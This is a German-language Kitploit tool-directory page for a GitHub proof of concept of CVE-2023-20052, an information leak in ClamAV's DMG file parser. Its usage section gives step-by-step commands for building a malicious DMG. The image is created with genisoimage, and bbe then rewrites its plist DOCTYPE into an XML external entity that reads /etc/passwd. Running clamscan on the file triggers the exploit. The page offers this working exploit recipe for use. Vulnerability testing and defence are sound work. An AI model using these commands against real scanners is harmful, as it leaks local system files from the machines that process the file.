Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-20052 — CVE-2023-20052, Schwachstelle mit Informationsleck im DMG-Dateiparser von ClamAV | Kitploit
Tools/GitHubGitHub/nokn0wthing/cve-2023-20052
SchwachstellenanalyseExploitationInformationsbeschaffungFuzzingMalware-Analyse
GitHubnokn0wthing/cve-2023-20052

CVE-2023-20052

CVE-2023-20052, Schwachstelle mit Informationsleck im DMG-Dateiparser von ClamAV

Repository anzeigen
27516vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-20052

CVE-2023-20052, Schwachstelle mit Informationsleck im DMG-Dateiparser von ClamAV

Verwendung
Um eine bösartige DMG-Datei zu erstellen:

git clone https://github.com/nokn0wthing/CVE-2023-20052.git
cd CVE-2023-20052
sudo docker build -t cve-2023-20052 .
sudo docker run -v $(pwd):/exploit -it cve-2023-20052 bash

genisoimage -D -V "exploit" -no-pad -r -apple -file-mode 0777 -o test.img . && dmg dmg test.img test.dmg
bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "/etc/passwd"> ]>|' -e 's/blkx/&xxe\;/' test.dmg -o exploit.dmg

Um den Exploit auszulösen:
clamscan --debug exploit.dmg

Tool herunterladen